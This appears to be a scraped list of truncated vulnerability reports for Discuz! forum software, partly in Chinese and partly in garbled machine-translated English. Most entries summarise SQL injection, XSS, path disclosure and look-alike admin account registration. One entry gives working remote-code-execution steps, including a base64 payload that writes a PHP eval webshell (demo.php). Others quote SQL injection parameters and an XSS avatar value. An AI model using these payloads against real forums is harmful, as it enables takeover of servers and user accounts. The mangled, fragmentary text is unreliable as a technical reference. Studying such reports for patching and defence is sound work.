Discuz!所有版本敏感帐号注册

简要描述： 用来社工和骗人，应该可以 详细说明： 允许特殊帐号注册如admin,Αdmiп,аdmin,admiп,аdmiп,Αdmin（就用一些特殊字符替换） 可以伪造管理员，版主或者一些与权威的用户的帐号 漏洞证明： discuz.net上的admin,Αdmiп,аdmin,admiп,аdmiп,Αdmin全被注册了，还可以模仿某些版主的帐号...

Discuz! X2. 5 remote code execution vulnerability warning and EXP[XDAY]-vulnerability warning-the black bar safety net

See discuz dede what vulnerabilities just mental, ha ha...... The process is simple to say, remember a bit of a mess not posted too much code. diff see balabalabala..... if! defined'INDISCUZ' @@ -89,7 +89,7 @@ if$searcharray && $replacearray - $content = pregreplace"/a\s+.?& gt;.?& lt;/a|img\s+.?...

Discuz! X2.5 远程代码执行漏洞

No description provided by source. 1.注册任意账户 2.登陆用户，发表blog日志（注意是日志） 3.添加图片，选择网络图片，地址$fputsfopenbase64decodeZGVtby5waHA,w,base64decodePD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw 4.访问日志，论坛根目录下生成demo.php，一句话密码C...

discuz! X1. 0 – X1. 5 Blind SQL injection exploit & Get Shell-vulnerability warning-the black bar safety net

Exploit Title: discuz! X1. 0 - X1. 5 Blind SQL injection exploit &Get Shell Date: 06-04-2012 Author: Hacker-Fire Category:: webapps Google dork: Powered by Discuz Tested on: Windows 7 P0c : ? Php printr ' + ------------------------------------------------- -------------------------- + Discuz! 1-1...

discuz! X1.0 - X1.5 Blind SQL injection exploit & Get Shell

Exploit for php platform in category web applications Exploit Title: discuz! X1.0 - X1.5 Blind SQL injection exploit & Get Shell Date: 06-04-2012 Author: Hacker-Fire Category:: webapps Google dork: Powered by Discuz Tested on: Windows 7 P0c : ? Php printr ' +...

Discuz! 6.0 common.inc.php 跨站漏洞

No description provided by source...

DZ升级/DX转换程序考虑不当导致用户遗留信息被黑客利用

简要描述： （名词解析：DZ=Discuz!；DX=Discuz! X；UC=UCenter；PW=phpwind） 众所周知的是，DZ = 6.1后，password字段仅作为cookie的登录凭据校验，用户在每次密码修改时，均会重新生成一个无关密码的登录凭据校验； 真实的password相关信息存在UCenter cdbucmembers表中，并且salt过； （2）然而在升级到需要UC的DZ（比如DZ 7.0）时候，针对将cdbmembers导入到UCenter...

DNT官网存在SQL注入漏洞

简要描述： DNT官网存在SQL注入漏洞，Powered by Discuz!NT 3.9.913 Beta 详细说明： 本来是测试凡客（ WooYun: 凡客诚品某频道再暴SQL注入漏洞 ），但发现官方也存在。 注入地址： http://nt.discuz.net/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1 利用：...

Discuz 4.0 头像设置处可以持久型脚本

简要描述： Discuz 4.0 头像设置处可以post xss脚本， 可能是个老漏洞了，在内网的论坛上发现的，不知道是否没升级…… 详细说明： Discuz 4.0 头像设置处，先选一个系统自带头像，提交，抓包。 将头像地址【customavatars/190.jpg】替换为xss脚本【javascript:alert/x/】,post提交后，所有头像引用代码辩位;可以成功执行。 不过引号、，等会被替换或编码，必须构造无引号的语句 漏洞证明：...

Discuz x2 source/function/function_connect.php leakage of the server's physical path-vulnerability warning-the black bar safety net

Affected version: Discuz x2 vulnerability description: source/function/functionconnect.php The file header is not added: if! defined‘INDISCUZ’ exit‘Access Denied’; And at the head of the pack The letter the other file: requireonce libfile‘function/cloud’; reference...

Discuz x2 source/function/function_connect.php 泄漏服务器物理路径

source/function/functionconnect.php 文件头部没有加： if!defined‘INDISCUZ’ exit‘Access Denied’; 并且在头部包函了其他文件： requireonce libfile‘function/cloud’; Discuz x2 厂商补丁： Discuz! ------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.discuz.net/ !/usr/bin/env python -- coding: utf-8 -- from pocsuite.n...

Discuz! x2 201110版 报物理路径

简要描述： 详细说明： attachEventwindow, 'load', function appendscript''.$jsurl.'', '', 1, 'utf-8' , document;'; function connectoutputphp$url, $postData = '' global $G; $response = dfsockopen$url, 0, $postData, '', false, $G'setting''cloudapiip'; $result = array unserialize$response; return $result;...

DEDECMS global variable overwrite vulnerability science-vulnerability warning-the black bar safety net

DEDECMS global variable overwrite vulnerability was first wolves security team 0 9 published in the official soften up until now didn't repair the vulnerability, and now covers substantially DEDECMS full version. Personal guess is not the official deliberately left the back door. The following...

Discuz 1.5 storm WEB path vulnerability-vulnerability warning-the black bar safety net

Test environment: discuz X1. 5+nginx 1.0 漏洞 文件 source/function/functioncore.php that Code: $G'setting''domain''app''default' && $content = pregreplace"/a href="^"+"/e", "rewriteoutput'sitedefault', 0, '".$ G'setting''domain''app''default'.$ port.$ G'siteroot'."', '\\1'", $content; Use code:...

Discuz 1.5 with NGINX secondary analytical proof path BUG-vulnerability warning-the black bar safety net

Author: Sunny small cast Test environment: discuz X1. 5+nginx 1.0 漏洞 文件 source/function/functioncore.php that code: $G'setting''domain''app''default' && $content = pregreplace"/a href="^"+"/e", "rewriteoutput'sitedefault', 0, '".$ G'setting''domain''app''default'.$ port.$ G'siteroot'."',...

Discuz! 1.5-2.0 forum_misc.php SQL注入漏洞

No description provided by source...

Discuz! X2 forum_attachment.php sql注入漏洞

No description provided by source...

Discuz X2 SQL injection/Xpath latest vulnerability-vulnerability warning-the black bar safety net

| Vulnerability type: SQL injection/Xpath Request method: POST Affected page: http://127.0.0.1/member.php?mod=logging&action=login&loginsubmit=yes&infloat=yes&lssubmit=yes Parameters:username Parameters of the test: and 1=1 Attack details: username=1+and+1=1&cookietime=2 5 9 2 0 0...

Discuz 存在XSS漏洞 仅测X1.5

简要描述： Discuz 可能存在XSS漏洞 仅测X1.5 其他没试过 详细说明： 过滤不严 漏洞证明：...

Discuz! NT 3.6 user-space cross-site vulnerabilities and fixes-vulnerability warning-the black bar safety net

Affected version: Discuz! NT 3.6 Vulnerability description: Discuz! NT3. 6 version of the user space log edit not user-submitted data do security filtering, and can lead to insertion of malicious code. Attacker to exploit the vulnerability, you may get a normal user the Cookie of sensitive data,...